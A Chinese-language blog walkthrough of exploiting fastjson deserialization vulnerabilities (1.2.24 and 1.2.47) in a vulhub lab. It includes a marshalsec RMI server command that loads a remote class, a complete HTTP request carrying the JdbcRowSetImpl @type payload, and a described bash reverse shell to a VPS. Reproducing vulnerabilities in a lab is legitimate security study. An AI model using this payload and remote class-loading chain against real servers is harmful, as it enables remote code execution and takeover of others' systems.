fastjson反序列化漏洞(1.2.24,1.2.47)

作者: H0r2yC 分类: 渗透测试,漏洞利用 发布时间: 2019-12-27 18:36

0x01 前言

fastjson漏洞几次项目都遇到了,打算写个文章,写的过程中可以发现很多自己忽略掉的知识点,也可以理解得更深入一些。

0x02 漏洞描述

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

0x03 漏洞环境

环境是另一台主机使用vulhub搭建,访问ip:8090,出现这个界面说明成功

再来搭建漏洞利用的环境,首先要编译带有payload的class文件,然后将class文件放在web服务器上,我直接上传到了网站服务器

然后需要在VPS上起一个RMI服务并调用该class文件。我使用了两台主机,一台搭建http服务的主机,一台搭建RMI服务的主机,也可以直接在一台主机上安装http和RMI服务。RMI可以使用marshalsec快捷搭建,在编译marshalsec的过程中遇到一个坑,必须有JAVA_HOME环境变量才可以调用编译器。已经编译好的jar在文章底部,可自行下载。

编译命令

mvn clean package -DskipTests

编译成功后把jar文件上传到VPS,并启动RMI

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://h0r2yc.cn/#TouchFile" 14444

0x04 漏洞复现

请求包

POST / HTTP/1.1
Host: 192.168.31.161:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 165

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:14445/TouchFile",
        "autoCommit":true
    }
}

进入到容器中看一下,发现成功生成了一个success文件

接下来改一下payload,由于容器是linux,所以我们用bash反弹一个shell到公网VPS

在后台14445端口起一个RMI,然后nc监听14444端口等待反弹shell

重新请求,可以看到VPS接收到了反弹的shell

1.2.47利用的payload与1.2.24一致,只是请求方式有所变化,也可以反弹shell

下载

marshalsec-0.0.3-SNAPSHOT-all.jar
     

如果觉得我的文章对您有用,欢迎关注我的公众号:网安成长笔记